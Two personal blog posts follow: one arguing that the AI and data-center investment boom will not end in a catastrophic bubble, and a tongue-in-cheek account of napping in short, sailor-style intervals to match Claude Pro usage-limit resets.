Bubble - URL: https://mattwie.se/there-is-no-bubble - Date: 2025-08-15 - Tags: ai, bubble, stock market, mag 7, llm, investing, data centers What do you see when you look at this picture? ![NVDA stock price chart](/assets/images/nvda.png) I would venture a guess everyone sees a line that goes up. Some might say it's a bubble. It's a mania. For others, a new industrial revolution. The final death rattle of the old, may the [new flesh live long](https://www.youtube.com/watch?v=X9MdxMnt-_U). What I see is an unprecedented deployment of capital - and I don't mean by investors buying equities. I like to read [Ed Zitron](https://www.wheresyoured.at/)'s takes on AI as a counterpoint to the frothy consensus. His thesis that the AI companies - aside from Nvidia - haven't really made a profit in any meaningful sense is a good critique. If they keep burning bux it will probably cause a rerate. However, I think this criticism overlooks where the zeitgeist goes from here. I'm fairly aligned with Lyn Alden's view of "[nothing stops this train](https://www.youtube.com/watch?v=Giuzcd4oxIk)" both as it relates to Bitcoin but also the wider tailwinds to all asset prices - equities, gold, Labubus. LLMs are powerful and interesting, but the world-historic compute buildout around GPGPU hardware has massive ramifications and will serve as a kind of techno-capital backstop. I personally don't think AGI is possible with LLMs, but the debate around that has been so beaten to death it's become Soylent. The data center and power infrastructure race is a competition not for "[word calculators](https://simonwillison.net/2023/Apr/2/calculator-for-words/)" but instead for the silicon scaffolding of our future. A national megaproject for utility-scale compute. I've been kicking myself for only opening a small speculative position in Palantir back in the 2022 doldrums. Firms like Palantir are the blood circulating through these veins. If the proverbial bubble pops, the data centers will still be here. The capital has been deployed. From my perspective, that will be when it gets interesting. It wouldn't be out of the question for the US government to step in and "bail out" the hyperscalers by paying for compute. Instead of being the [lender of last resort](https://en.wikipedia.org/wiki/Lender_of_last_resort), they will be the customer of last resort. The "[operating system](https://www.sec.gov/Archives/edgar/data/1321655/000119312520230013/d904406ds1.htm)" of the government can keep growing. For the pessimistic among us: the Panopticon will not stop being built, the bricks will merely be laid more slowly. Excess capacity at firesale prices is a blessing not a curse. This isn't limited to scary "Big Brother" surveillance, either. Imagine what the insurance industry can do with cheap compute to personalize premiums for better margins. Or what the unloved healthcare industry can do to maintain patient outcomes while minimizing labor costs. Or what researchers can accomplish with cheap GPU access using "AI" that aren't even language models - libraries like [Jax](https://github.com/jax-ml/jax) give you superpowers. The way I see it, recession or stagflation slows this process, but I don't expect the bubble to pop in some catastrophic Great Depression way. The economy functions in cycles just like any other ecosystem - we didn't stop building Internet companies after the dotcom bubble popped. If anything, it eliminated uncompetitive species (companies) while opening up ecological niches (markets) for those with the [fitness](https://en.wikipedia.org/wiki/Fitness_(biology)) capable of exploiting them. --- # Optimizing My Sleep Around Claude Usage Limits - URL: https://mattwie.se/no-sleep-till-agi - Date: 2025-08-10 - Tags: ai, sleep, claude, cracked, llm For the past 4 weeks I have been managing my sleep schedule around maximizing the usage of my Claude Pro subscription. Every [five hours](https://support.anthropic.com/en/articles/8324991-about-claude-s-pro-plan-usage#h_06c9f90d9e) your Claude session usage is reset. When I first began using Claude Code daily, this limit would often come at inconvenient times. I would be in flow, vibing with Claude on my B2B SaaS side project. Unfortunately, just as I was stepping into Claude's mind [like I'm Raz](https://en.wikipedia.org/wiki/Psychonauts#Characters), the dreaded usage warning would appear. Your limit will reset at 7am. But I was just getting this React component to hydrate correctly... Frustrated, I did what any cracked coder would do and ultrathought a thorough implementation plan to my wetware README. I've also been learning to sail, having recently rediscovered a love of being both near and on the water. Sailing is fun and an addicting mental challenge - it requires being in tune with the wind (micro) and weather (macro). Having been irresponsibly inspired by [Hundred Rabbits](https://100r.co) and also lacking a partner to sail long distances with, I've been studying the techniques of [single-handed](https://en.wikipedia.org/wiki/Single-handed_sailing) sailors. It turns out, when solo sailing, you don't sleep. Or rather, you sleep in short intervals, frequently less than 30 mins (especially near shore and in busy lanes). Setting aside the potential ramifications of missing out on REM sleep for weeks at a time, I had an idea. What if I sleep like a sailor in order to maximize my Claude usage limit? So I did. And so far, it's worked. Depending on how I use Claude (or how Claude uses me?) I run out of tokens on the Pro plan in 1 - 3 hours. This typically gives me time for a nap that's about 2 or 3 hours, which is enough to even get a little bit of REM sleep. My velocity has increased 10x and I'm shipping features like a cracked ninja now, which is great because my B2B SaaS is still in stealth mode. Inevitably, Anthropic will increase their subscription costs or further restrict usage limits. It feels like they're giving compute away for free at this point. So when the investor bux start to run dry, I will be ready. Maybe I'll even take inspiration from [AIS](https://www.navcen.uscg.gov/automatic-identification-system-overview) and set up an alarm on my computer to alert me if I sleep past the expiry of my usage limit. ---